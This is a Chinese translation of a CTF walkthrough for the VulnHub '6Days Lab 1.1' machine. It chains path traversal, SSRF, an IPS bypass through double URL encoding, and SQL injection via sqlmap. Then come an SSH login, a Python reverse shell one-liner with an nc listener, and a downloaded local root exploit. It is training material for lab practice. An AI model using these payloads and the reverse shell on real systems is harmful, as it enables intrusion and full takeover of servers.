6天实验1.1 CTF演练

在本文中，我们将尝试完成另一个“CanYouPwn.Me”在VulnHub网站上发布的CTF挑战。记录完成挑战的完整过程，本次挑战中将利用以下web漏洞：路径遍历漏洞、SQL注入漏洞和服务器端请求伪造漏洞

下载VM并在VirtualBox中运行它的链接如下所示：

https://download.vulnhub.com/6daylab/6Days_Lab-v1.0.1.ova

Torrent下载URL也可用于此VM，您可以在本文的参考部分找到该下载URL 。

在本文中，我们将利用以下Web应用程序漏洞：

1. 路径遍历漏洞;
2. SQL注入漏洞;
3. 服务器端请求伪造（SSRF）漏洞。

注意：由于这是CTF演练，因此我不会涵盖上述漏洞的基本知识。

步骤1

在VirtualBox.com上下载并运行本机后，我开始运行Netdiscover命令以获取目标机器的IP地址。命令输出可以在下面给出的屏幕截图中看到：

使用的命令：netdiscover

如上图所示，我们获得了虚拟机的IP地址，即192.168.11.20（目标机IP地址）。

我们现在将使用192.168.11.16作为攻击者IP地址。

请注意：目标和攻击者机器IP地址可能在网络配置上有所不同。

步骤2

第一步总是找出目标机器上可用的端口和服务。Nmap全端口扫描用于此目的。这在以下屏幕截图中进行了说明：

使用的命令：

nmap 192.168.11.20 -v -Pn -p- {这里-v用于详细模式，-Pn用于No Ping扫描，-p-用于全端口扫描}

Nmap扫描结果在目标机器上提供了两个开放端口。一个端口是HTTP-proxy / 8080。它被过滤了，因此引起了我的注意。因此，我在笔记本上标记了这些信息供以后参考。

当我在Web浏览器上打开目标计算机IP时，它打开了关于特定入侵防御系统（IPS）的网页。你可以在上面的截图中看到。根据主页上的信息，目标机器最近推出了全新的IPS产品。这也被用来监控自己网站的安全。

与往常一样，我开始探索应用程序中的漏洞。我找到了我的第一个入口点，我们可以在网页上输入促销代码。我开始探索此参数来查找其他类型的漏洞。然而，我没有得到任何东西，因为我的所有请求都被目标应用程序上实施的IPS阻止。IPS错误信息可以在以下屏幕截图中看到：

从上面的截图可以看出，我试图在URL中添加一个单引号来验证任何基于错误的SQL注入，但是IPS阻止了该请求。之后，我尝试模糊参数，但所有有效载荷也被IPS阻止。我也尝试过不同的编码技术来绕过IPS，但在这方面也没有取得任何成功。

步骤3

我在目标机器上运行Dirb实用程序来枚举其他可能的网页和目录。它给了一些有用的目录，可以进一步探索。您可以在下面的截图中查看DirB输出：

使用的命令：

dirb http://192.168.11.20

从Dirb输出中，我逐个检查了所有已识别的目录，但IPS阻止了所有内容。在下面的截图中可以看到：

正如您在上面的屏幕截图中看到的那样，我尝试使用curl实用程序访问URL。但是，我得到了一个服务器响应，说“恶意请求被阻止”。

所以，我又回到了目标机器上的主页。我会密切观察页面的HTML内容以获取更多线索; 那里我在image.php页面找到了一个“src”参数。这是试图从外部来源调用图像。在下面的截图中可以看到：

我想到的第一件事情是它可能容易受到远程文件包含（RFI）的影响，但它不是那么容易。在测试URL中其他可能的漏洞时，我发现“src”参数容易受到路径遍历漏洞的攻击。我通过利用src参数提取/ etc / passwd文件。这在以下屏幕截图中进行了说明：

使用的有效负载：

../../../../../etc/passwd

从/ etc / password文件中，我们可以看到目标系统上有两个用户是“user”和“andrea”。Andera的shell设置为/ bin / andrea。

接下来，我尝试提取目标系统上可用的其他文件。在下面的截图中可以看到目标机器上找到的这些文件之一：

从突出显示的区域可以看出，用户输入参数直接与MySQL查询进行交互。这意味着它很容易发生SQL注入攻击。但是，由于在应用程序中启用了IPS，所以我们无法利用SQL注入，它会阻止请求。

接下来，我通过利用路径遍历漏洞提取Apache默认配置文件。这在上一步中已经确定。在下面的截图中可以看到：

从Apache配置的屏幕截图中可以看到，8080端口上还有另一个网站服务正在运行。但是，由于它被过滤，因此它不可公开访问。所以，我试图通过探索路径遍历漏洞和服务器端请求伪造（SSRF）的组合在本地访问该端口的希望的IPS可能端口被禁用无8080当IPS服务被禁用，我们就可以利用SQL注入漏洞从数据库中获取信息。

首先，我尝试访问可在屏幕截图中看到的index.php：

从上面的屏幕截图可以看出，我们可以在端口8080上获得响应。现在我们可以验证IPS是否在此端口上被禁用。我试图用参数值添加单引号。这可以在下面的截图中看到：

该请求再次被阻止; 这意味着IPS也在端口8080上运行。在花了一些时间并使用一些编码技术之后，我可以通过使用双重URL编码有效载荷来绕过它。这可以在下面的截图中看到：

让我们在参数中输入这个编码的有效载荷，看看它是否也被绕过。

正如你在上面的截图中看到的那样，我能够绕过IPS，正如我们从前面的步骤中已经知道的那样，一个参数很容易被SQL注入。所以，让我们尝试通过使用SQLmap来利用它。为此，我们将不得不运行Path Traversal + SSRF + SQL Injection组合的漏洞利用。因此，让我们对Burp Suite做一些小修改，以便与SSRF一起工作。

首先，我们必须打开比赛并替换Burp Suite中的部分。这可以在下面的屏幕截图中突出显示的区域中看到：

接下来，我点击添加按钮，一个弹出窗口将打开。我现在必须添加匹配条件，如下面的截图所示：

保存此配置后，Burp Suite将自动更改URL。这可以在以下屏幕截图中看到：

我们可以在上面的屏幕截图中看到Burp Suite正在接受我们的配置并自动将请求修改为我们已经配置的请求。接下来，我运行SQL映射来利用SQL注入漏洞。

我试图在URL上运行SQLmap，但由于IPS的存在，SQLmap无法工作。要绕过防火墙，某些特殊字符需要经过双重URL编码才能执行。这可以在下面的截图中看到：

使用的命令：

sqlmap -r sqlmap -risk = 3 -level = 5 -proxy = http：//127.0.0.1：8080 -tamper = chardoubleencode -dbms = mysql -dbs

因此，我们成功地利用了SQL注入并获得了用户“andrea”的密码。正如我们所知，目标系统上已经存在andrea，所以我尝试在目标系统上使用此密码进行ssh登录。这在以下屏幕截图中进行了说明：

登录凭证是正确的。因此，我们终于得到了用户访问目标机器的权限。

在获得用户对目标系统的访问权后，我接下来尝试运行命令以进行进一步分析。但是，似乎这些命令正在执行，但没有显示输出。我还注意到符号’/’也被阻塞在目标机器上。这可以在下面的截图中看到：

在上面的屏幕截图中，执行命令返回的错误消息显示了有关受限shell的一些信息。这是一个’rbash’限制壳。因此，我们必须找到另一种在目标系统上执行命令的方式。

使用的命令：

1. nc –lvp 4444 {on another terminal to, listening on port 4444 for reverse connection}
   
2. python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.100.11”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
   

   {Python command to get the other reverse shell}

从上面的截图可以看出，我们执行了一个命令来获得另一个将绕过目标机器上rbash限制的反向shell。现在，我们可以运行命令来浏览机器或尝试获取root访问权限。

使用的命令：

cat / etc / issue

从上面的截图可以看出，目标机器正在运行Ubuntu 12.04.5。谷歌搜索给了我一个本地漏洞利用，以提升root权限。如下所示：

接下来，我将漏洞下载到本地系统，并使用wget命令将其转移到目标系统。这可以在下面的截图中看到：

现在，漏洞被下载到目标机器上。接下来，我编译漏洞并运行它。

命令

1. gcc 37292.c -o exploit

   This command is to compile the Exploit by using the gcc compiler.

2. chmod +x exploit

   This command gives executable permission to the exploit.

3. ./exploit

   This command runs the exploit to get the root.

从上面的屏幕截图可以看出，我们已经获得了目标机器上的根访问权限。挑战现已完成。

参考文献：

• https://www.vulnhub.com/entry/6days-lab-11,156/
• https://download.vulnhub.com/6daylab/6Days_Lab-v1.0.1.ova
• https://download.vulnhub.com/6daylab/6Days_Lab-v1.0.1.ova.torrent {Torrent下载}
• https://www.exploit-db.com/exploits/37292/
• http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

 

本文由绿盟科技博客翻译，原文链接：http://resources.infosecinstitute.com/6-days-lab-1-1-ctf-walkthrough/